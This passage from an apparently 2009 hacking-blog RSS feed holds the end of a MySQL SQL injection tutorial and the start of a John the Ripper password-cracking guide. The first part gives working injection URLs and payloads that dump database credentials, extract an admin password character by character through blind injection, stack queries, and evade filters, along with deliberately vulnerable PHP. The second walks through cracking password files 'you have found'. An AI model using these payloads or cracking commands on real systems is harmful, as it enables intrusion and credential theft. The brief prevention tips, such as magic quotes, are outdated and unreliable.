daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
[...]<br />
[output cutted]<br />
[...]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Sounds interesting right, don&#8217;t you?</p>
<p>Could be interesting to get some sensitive information such as mysql users and passwords<br />
right? By injecting our code as shown below we can get such that information.</p>
<p>SELECT * FROM news WHERE id=&#8217;1&#8242; UNION SELECT Host, User, Password FROM mysql.user/*&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Standard Blind SQL Injection ]</p>
<p>SQL Injection and Blind SQL Injection are attacks that are able to exploit a software<br />
vulnerability by injecting sql codes; but the main difference between these attacks<br />
is the method of determination of the vulnerability.</p>
<p>Yes, because in the Blind SQL Injection attacks, attacker will look the results<br />
of his/her requests (with different parameter values) and if these results will return<br />
the same information he/she could obtain some interesting data. (I know, it seems<br />
a bit strange; but between few lines you will understand better).</p>
<p>But why Standard Blind SQL Injection? What does it mean? In this part of the paper<br />
I&#8217;ll explain the basic way to obtain information with Blind SQL Injection without bear<br />
in mind that this type of attacks could be optimized. I don&#8217;t wanna talk about the<br />
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -<br />
&#8220;Optimizing the number of requests in blind SQL injection&#8221;).</p>
<p>Ok, let&#8217;s make a step forward and begin talking about Detection of Blind SQL Injection.<br />
To test this vulnerability we have to find a condition that is always true; for example<br />
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE<br />
condition we don&#8217;t know if our new injected query will be true or false; therefore<br />
we have to make some tests. When the query is true? The query is true when the record<br />
returned contain the correct information. Maybe is a little bit strange this explanation but<br />
to make things clear I wanna let you see an example. Suppose that we requested this<br />
URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As you can see we have just viewed our first news (id=1). What happends if we request<br />
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?<br />
In our browser we just see the same page because the query is obviously true.<br />
Here below the injected query:</p>
<p>SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1</p>
<p>Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand<br />
better how we can use this, I want to make a simple example/scenario. I&#8217;m thinking that<br />
the web application is connected to MySQL using the user omni; how to know this by using<br />
Blind SQL Injection? Just requesting this URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost&#8217;</p>
<p>and watch the reply sent on our browser. If in our FireFox (or whatever you want)<br />
we will see the news with ID=1 we know that omni is the user used to connect to<br />
the mysql deamon (because the query is true; and we found the true value to pass<br />
to the query).<br />
Let&#8217;s go deeper. What we can do with Blind SQL? Could be interesting to retrieve<br />
the admin password. How to do that? First of all to understand better the<br />
steps I&#8217;m going to explain we need to know some basic information.</p>
<p>Function used in MySQL:</p>
<p>- ASCII(str)<br />
Returns the numeric value of the leftmost character of the string str.<br />
Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII()<br />
works for 8-bit characters.</p>
<p>mysql&gt; select ascii(&#8217;a');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;A') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         97 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;b');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;b') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         98 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>- ORD(str)</p>
<p>If the leftmost character of the string str is a multi-byte character, returns<br />
the code for that character, calculated from the numeric values of its constituent<br />
bytes using this formula:</p>
<p>(1st byte code)<br />
+ (2nd byte code x 256)<br />
+ (3rd byte code x 2562) &#8230;</p>
<p>If the leftmost character is not a multi-byte character, ORD() returns the same value as<br />
the ASCII() function.</p>
<p>- SUBSTRING(str,pos), SUBSTRING(str  FROM pos),<br />
SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)</p>
<p>The forms without a len argument return a substring from string str starting at position pos.<br />
The forms with a len argument return a substring len characters long from string str, starting<br />
at position pos.<br />
The forms that use FROM are standard SQL syntax. It is also possible to use a negative value<br />
for pos. In this case, the beginning of the substring is pos characters from the end of the<br />
string, rather than the beginning.<br />
A negative value may be used for pos in any of the forms of this function.</p>
<p>- SUBSTR(str,pos), SUBSTR(str  FROM pos),<br />
SUBSTR(str,pos,len), SUBSTR(str  FROM pos FOR len)</p>
<p>SUBSTR() is a synonym for SUBSTRING().</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 1, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 1, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| B                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select substring(&#8217;Blind SQL&#8217;, 2, 1);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| substring(&#8217;Blind SQL&#8217;, 2, 1) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| l                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- LOWER(str)</p>
<p>Returns the string str with all characters changed to lowercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT LOWER(&#8217;SQL&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| LOWER(&#8217;SQL&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
| sql               |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>- UPPER(str)</p>
<p>Returns the string str with all characters changed to uppercase according to<br />
the current character set mapping. The default is latin1 (cp1252 West European).</p>
<p>mysql&gt; SELECT UPPER(&#8217;sql&#8217;);<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| UPPER(&#8217;sql&#8217;) |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| SQL           |<br />
&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Now we have understood the principals MySQL functions that could be used while<br />
trying to do a Blind SQL Injection attack. (consult MySQL reference manuals for others)</p>
<p>What we need again? Suppose that we know for a moment the admin password: &#8220;secret&#8221;.</p>
<p>mysql&gt; select ascii(&#8217;s&#8217;);<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;s&#8217;) |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        115|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;e');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;e') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        101|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;c');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;c') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|         99 |<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;r');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;r') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        114|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select ascii(&#8217;t');<br />
&#8212;&#8212;&#8212;&#8211;<br />
| ascii(&#8217;t') |<br />
&#8212;&#8212;&#8212;&#8211;<br />
|        116|<br />
&#8212;&#8212;&#8212;&#8211;</p>
<p>It&#8217;s time to watch the source code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>[ ... ]</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'].&#8221; LIMIT 1&#8243;;</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>[ ... ]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Now, try to &#8220;exploit the bug&#8221; by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>The query is TRUE (we know that the first letter of the password is &#8217;s&#8217;) and therefore, the query will be:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) = 115 LIMIT 1</p>
<p>What is the number 115? Read upon is the ascii value of the &#8217;s&#8217;. We retrieved the first character<br />
of the password (by using some MySQL functions).</p>
<p>.:. (SELECT pwd FROM usr WHERE id=1) =&gt; SELECT the password of the user with ID=1 (admin)<br />
.:. (SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1) =&gt; Get the first letter of the password (in this case &#8217;s&#8217;)<br />
.:. ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),1,1)) =&gt; Get the ASCII code of the first letter (115 in this case)</p>
<p>And how to retrieve the second letter of the password? Just carry out this query:</p>
<p>SELECT * FROM news WHERE id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101 LIMIT 1</p>
<p>by requesting this URL:<br />
http://www.victim.net/CMS/view.php?id=1 AND ASCII(SUBSTRING((SELECT pwd FROM usr WHERE id=1),2,1)) = 101</p>
<p>The third character? And the others? Just make the same query with the right values.<br />
Take in mind that you can also use the &#8220;greater then&#8221; (&gt;) and &#8220;less then&#8221; (&lt;) symbols<br />
instead of the equal; to find the ASCII letter between a range of letters.<br />
Eg.: between 100 and 116; and so on.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Double Query ]</p>
<p>Sometimes in some codes happends that a programmer use the MySQLi Class (MySQL Improved<br />
Extension) that is an extension allows you to access to the functionality provided<br />
by MySQL 4.1 and above.</p>
<p>I&#8217;ll explain a  very interesting bug that could be very dangerous for the<br />
system. A not properly sanitized variable passed in the method called multi_query of<br />
the mysqli class can be used to perform a &#8220;double&#8221; sql query injection.</p>
<p>mysqli_multi_query (PHP 5) is able to performs one or more queries on the<br />
database selected. The queries executed are concatenated by a semicolon.</p>
<p>Look this example to know what I&#8217;m talking about:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&lt;?php<br />
$mysqli = new mysqli(&#8221;localhost&#8221;, &#8220;root&#8221;, &#8220;root&#8221;, &#8220;test&#8221;);</p>
<p>if (mysqli_connect_errno()) {<br />
printf(&#8221;Connect failed: %s\n&#8221;, mysqli_connect_error());<br />
exit();<br />
}</p>
<p>$query  = &#8220;SELECT user FROM usr WHERE id =&#8221;. $_GET['id'].&#8221;;&#8221;;<br />
$query .= &#8220;SELECT texts FROM news WHERE id =&#8221;. $_GET['id'];</p>
<p>echo &#8216;UserName: &#8216;;</p>
<p>if ($mysqli-&gt;multi_query($query)) {<br />
do {<br />
/* the first result set */<br />
if ($result = $mysqli-&gt;store_result()) {<br />
while ($row = $result-&gt;fetch_row()) {<br />
echo &#8221; &#8211; &#8221; .$row[0]. &#8220;&lt;br&gt;&#8221; ;<br />
}<br />
$result-&gt;free();<br />
}<br />
/* print divider */<br />
if ($mysqli-&gt;more_results()) {<br />
echo &#8220;/-/-/-/-/-/-/-/-/-/-/-/-/-/&lt;br&gt;&#8221;;<br />
}<br />
} while ($mysqli-&gt;next_result());<br />
}</p>
<p>/* close connection */<br />
$mysqli-&gt;close();<br />
?&gt;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>If a user request the follow URL:</p>
<p>http://www.victim.net/CMS/multiple.php?id=2</p>
<p>The browser reply with this information:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- could be bypassed easily?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>But the source code is bugged. The $query variable is vulnerable because<br />
a user can supply using the GET method, an evil id and can do multiple (evil) queries.</p>
<p>Trying with this request:</p>
<p>http://localhost/apache2-default/multiple1.php?id=2; SELECT pwd FROM usr/*</p>
<p>We will obtain the users passwords.</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>UserName: &#8211; ad<br />
/-/-/-/-/-/-/-/-/-/-/-/-/-/<br />
- secret<br />
- adpwd<br />
- test</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Filters Evasion ]</p>
<p>Web Application could implements some input filters that prevent an attacker from<br />
exploiting certain flaws such as SQL Injection, LFI or whatever. Therefore an application<br />
can use some mechanism that are able to sanitize, block or parse in some ways<br />
user-supply data. This kind of filters could be bypassed by using differents methods,<br />
here I wanna try to give to you some ideas; but certainly one filter differ from<br />
an other one so, you have to try/find different methods to bypass it.</p>
<p>- Imagine that we have to bypass a login form; but the comment symbol is blocked,<br />
we can bypass this issue but injecting this data &#8216; OR &#8216;a&#8217; = &#8216;a instead of &#8216; OR 1 = 1 /*</p>
<p>- The filter try to prevent an SQL Injection by using this kind of Signature: &#8216; or 1=1 (Case-insensitive).<br />
An attacker can bypass this filter using &#8216; OR &#8216;foobar&#8217; = &#8216;foobar for example.</p>
<p>- Suppose that the application filter the keyword &#8220;admin&#8221;, to bypass this filter we have just<br />
to use some MySQL functions such as CONCAT or CHAR for example:<br />
union select * from usr where user = concat(&#8217;adm&#8217;,'in&#8217;)/*<br />
union select * from usr where user=char(97,100,109,105,110)/*</p>
<p>This is only a little part of &#8220;filter evasion techniques&#8221;. Different filters work<br />
differently, I can&#8217;t stay on this topic forever; I just gave to you some ideas.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  SQL Injection Prevention ]</p>
<p>How to prevent this type of attacks? Here below I just wanna write some<br />
tips that you can use to make your web application more secure.</p>
<p>1.) The file php.ini located on our HD (/etc/php5/apache2/php.ini, /etc/apache2/php.ini,<br />
and so on..) can help us with the magic quote functions. Other interesting functions can<br />
be setted to On; take a look inside this file.</p>
<p>Magic quotes can be used to escape automatically with backslash the user-supply single-quote (&#8217;),<br />
double-quote (&#8221;), backslash (\) and NULL characters.<br />
The 3 magic quotes directives are:</p>
<p>- magic_quotes_gpc, that affects HTTP request data such as GET, POST and COOKIE.<br />
- magic_quotes_runtime, if enabled, most functions that return data from an external source, will have<br />
quotes escaped with a backslash.<br />
- magic_quotes_sybase, that escape the &#8216; with &#8221; instead of \&#8217;.</p>
<p>2.) deploy mod_security for example</p>
<p>3.) use functions such as addslashes() htmlspecialchars(), mysql_escape_string(), etc. to validate<br />
every user inputs.</p>
<p>4.) For integer input validate it by casting the variable<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Conclusion ]</p>
<p>Here we are, at the end of this paper. As said upon, I hope you enjoyed it and<br />
for any questions please mail me.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=55&ts=1280469019" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lost Password Recovery :: John The Ripper TUTORIAL</title>
		<link>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/</link>
		<comments>http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 09:43:26 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Network Security]]></category>
		<category><![CDATA[Network Tools]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[decryper]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[jhon]]></category>
		<category><![CDATA[JTR]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linux recover password]]></category>
		<category><![CDATA[lost password]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[ripper]]></category>
		<category><![CDATA[sniffer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[WORDFILE]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=47</guid>
		<description><![CDATA[
		
		
		
		John the Ripper is a decrypting program for passwords. Although it has many
functions we will be looking at using it as a decryper for password files
you possess.

We will be looking at Password Files which you have put on your Hard Disk
- PREPARATION
SHORTCUT TIP FOR WINDOWS 95
PASSWORD FILES
- DECRYPTING
JTR MODES
SINGLE MODE
WORDFILE MODE
INCREMENTAL MODE
ALPHA
DIGITS
ALL
SHOW MODE &#8211; Saving [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/11/lost-password-recovery-john-the-ripper-tutorial/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Lost+Password+Recovery+%3A%3A+John+The+Ripper+TUTORIAL";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "John the Ripper is a decrypting program for passwords. Although it has manyfunctions we will be looking at using it as a decryper for password filesyou possess.We will be looking at Password Files which you have put on your Hard Disk- PREPARATIONSHORTCUT TIP FOR WINDOWS 95PASSWORD FILES- DECRYPTINGJTR MODESSINGLE MODEWORDFILE MODEINCREMENTAL MODEALPHADIGITSALLSHOW...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>John the Ripper is a decrypting program for passwords. Although it has many</p>
<p>functions we will be looking at using it as a decryper for password files<br />
you possess.</p>
<p><span id="more-47"></span></p>
<p>We will be looking at Password Files which you have put on your Hard Disk<br />
- <strong>PREPARATION</strong><br />
SHORTCUT TIP FOR WINDOWS 95<br />
PASSWORD FILES<br />
- <strong>DECRYPTING</strong><br />
JTR MODES<br />
SINGLE MODE<br />
WORDFILE MODE<br />
INCREMENTAL MODE<br />
ALPHA<br />
DIGITS<br />
ALL<br />
SHOW MODE &#8211; Saving the Decrypted Files<br />
- <strong>ADVANCED COMMANDS</strong><br />
STOPPING JTR<br />
RULES<br />
SESSION and RESTORE<br />
- <strong>JTR QUICK REFERENCE</strong></p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>. &#8212;&#8212;&#8212;&#8211;<br />
<strong>PREPARATION</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
1. Download the correct version of JTR, use win32 for Win 95/98<br />
2. Extract the zip File into a Directory<br />
3. Make sure you have your Password Files in the same directory</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong>SHORTCUT TIP FOR WINDOWS 95</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
1. Right Click on the [Start] Button, and choose Open<br />
2. Double Click on [Programs] Folder<br />
3. Right Click and Copy, [MS-DOS Prompt]<br />
4. Close the [Programs] Folder<br />
5. Right Click and Paste on the Desktop, a [MS-DOS Prompt] should appear<br />
6. Right Click on the [MS-DOS Prompt] icon and choose Properties<br />
7. Click on the Program Tab<br />
8. In the box next to Working (It should have C:WINDOWS in there) Change<br />
it to the Directory of where-ever the Program JOHN.EXE has been<br />
extracted<br />
9. Click on the [OK] button<br />
10. Test what you have done by Double Clicking on the Icon, If you wish to<br />
rename [MS-DOS Prompt] to JTR, then do so</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> PASSWORD FILES</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8211;<br />
A. Naming<br />
I personally name my files with a p extension, some people use txt<br />
eg If i had the password file to Dannis&#8217;, I would name it danni.p<br />
The reason is that p stands for password file, I then name my decrypted<br />
password files with a txt extension<br />
It is really up to you what you name your password files, just remember<br />
that the names should be less than 8 characters<br />
eg likethis.p<br />
B. Where should I put them?<br />
Always have the password files you have found in the same directory as<br />
JOHN.EXE, Its just easier to handle them that way</p>
<p>&#8212;&#8212;&#8212;-<br />
<strong> DECRYPTING</strong><br />
&#8212;&#8212;&#8212;-<br />
Depending on what JTR version you have downloaded, you have to change into<br />
the directory JOHN.EXE is</p>
<p>&#8212;&#8212;&#8212;<br />
<strong> JTR MODES</strong><br />
&#8212;&#8212;&#8212;<br />
There are 3 main modes we will be dealing with<br />
-single, -wordfile, -incremental</p>
<p>[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords</p>
<p>&#8212;&#8212;&#8212;&#8211;<br />
<strong> SINGLE MODE</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
Single Mode attempts to find the weakest of all the passwords. This is one<br />
of the fastest methods.</p>
<p>SINGLE MODE SYNTAX<br />
john -single [passfile]<br />
or you could use<br />
john -si [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p then you would type<br />
john -si danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;-<br />
<strong> WORDFILE MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;-<br />
Wordfile Mode is the next quickest method. It requires the use of a wordlist<br />
The wordlist must be in a single wordlist and not a combo list</p>
<p><strong>WORDFILE SYNTAX</strong><br />
john -wordfile:[wordlist] [passfile]<br />
or<br />
john -w:[wordlist] [passfile]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p and you had a [wordlist]<br />
named mydict.txt then you would type</p>
<p>john -w:mydict.txt danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> INCREMENTAL MODE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Incremental mode is the slowest mode and will try to decrypt every pass in<br />
your passfile, as this can take days, months even years, I would use it as<br />
a last resort</p>
<p>There are 4 basic commands we will be dealing with<br />
digits, alpha, all, and leaving it blank</p>
<p>DIGITS mode<br />
This will try to decrypt all the Passwords that are in numbers</p>
<p>ALPHA mode<br />
This will try to decrypt all the Passwords that are letters only</p>
<p>ALL mode<br />
This will try to decrypt all the Passwords, whether they are in numbers, in<br />
letters or some special characters (@!^&amp;&#8230;etc)</p>
<p>WITH NO MODE SELECTED<br />
This will basically do everything to try to decrypt the password file</p>
<p>SYNTAX<br />
john -i [passfile]<br />
john -i:DIGITS [passfile]<br />
john -i:ALPHA [passfile]<br />
john -i:ALL [passfile]</p>
<p><strong>Example:</strong><br />
If you found a [passfile] and named it danni.p<br />
john -i danni.p<br />
john -i:DIGITS danni.p<br />
john -i:ALPHA danni.p<br />
john -i:ALL danni.p</p>
<p>Take a look at SCREEN SHOT OF A JTR SESSION</p>
<p>When running in this mode, If you ever want to stop it push CTRL &#8211; C</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> SHOW MODE &#8211; Saving the Decrypted Files</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Finally, once JTR has finished its decrypting process, you will be ready<br />
to enjoy the results. These you will save in a file name of your choice.</p>
<p><strong>SHOW SYNTAX</strong><br />
john -show [passfile]&gt;[output]</p>
<p>Example:<br />
If you found a [passfile] and named it danni.p, you decide you want to name the<br />
decrypted password file or [output] to danni.txt</p>
<p>john -show danni.p&gt;danni.txt</p>
<p>Now you can open danni.txt in a TEXT EDITOR<br />
You will see something like this</p>
<p>italia:italiano<br />
makoto:makotox<br />
PADWICK:PADWICKH<br />
kelley:kelleyaj<br />
bechtel:jbechtel<br />
mequery:queryme<br />
seeeee:meeeee<br />
stevewm:stevenm</p>
<p>8 passwords cracked, 246 left</p>
<p>Hopefully you will get more passwords than the example though</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
<strong> ADVANCED COMMANDS</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
Here are a few more commands which prove handy when using JTR</p>
<p>&#8212;&#8212;&#8212;&#8212;<br />
<strong> STOPPING JTR</strong><br />
&#8212;&#8212;&#8212;&#8212;<br />
If at anytime you wish to stop the decrypting process then<br />
Hold down the [ CTRL ] key and Push the [ C ] key</p>
<p>&#8212;&#8211;<br />
<strong>RULES</strong><br />
&#8212;&#8211;<br />
This command is used with the Wordfile Option, without it JTR will try only<br />
the words in your wordlist. When this is activated it will try variations as<br />
outlined in the john.ini file. This is also quite slow</p>
<p>RULES SYNTAX<br />
john w:[wordlist] -rules [passfile]</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong> SESSION &amp; RESTORE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Decrypting by now you will notice can become a long a slow process, JTR<br />
allows you to save save and restore sessions. A session is like a snap<br />
shot of what you are decrypting. It remembers what file you used, and<br />
where you were at if you decide to stop it. session can be used with any<br />
of the main modes.</p>
<p>SESSION &amp; RESTORE SYNTAX<br />
john -restore<br />
john -restore:[session name]<br />
john -session:[session name]</p>
<p>[session name] is any name you choose</p>
<p><strong>EXAMPLE</strong><br />
&#8212;&#8212;-<br />
Lets say you want to decrypt a file named danni.p</p>
<p>OK you&#8217;ve used the -si mode, which was quick<br />
With your trusty wordlist file named biglist.txt you next run the -w mode</p>
<p><strong>FINAL NOTES</strong><br />
&#8212;&#8212;&#8212;&#8211;<br />
There are many other features that JTR uses, that are Advanced, these can be<br />
found in the DOC folder in JTR, just use a text editor to open and read them<br />
We were only concerned with getting at least 50% of the passwords. This may<br />
be achieved by SINGLE and WORDFILE modes<br />
SPEED is dependant on your CPU, If you screen looks like its frozen and<br />
doing nothing, just hit any key a couple of times, you will see a mini<br />
progress report.<br />
Speed is also dependant on the size of your password file and the number of<br />
salts, A salt can be thought of as a slightly different way to encrypt a<br />
file. As there are many ways to encrypt a single password</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
<strong> JTR QUICK REFERENCE</strong><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
[KEYS]<br />
[passfile] &#8211; this is the name of your password file<br />
[wordlist] &#8211; this is the name of your wordlist<br />
[output] &#8211; this is the name of the file you will name when you want to<br />
save your decrypted passwords<br />
: &#8211; whenever you see a colon then use it in the command<br />
- &#8211; whenever you see a minus sign then use it in the command<br />
&gt; &#8211; whenever you see this sign then use it in the command<br />
[] &#8211; DO NOT INCLUDE THESE IN THE COMMAND</p>
<p>SINGLE MODE<br />
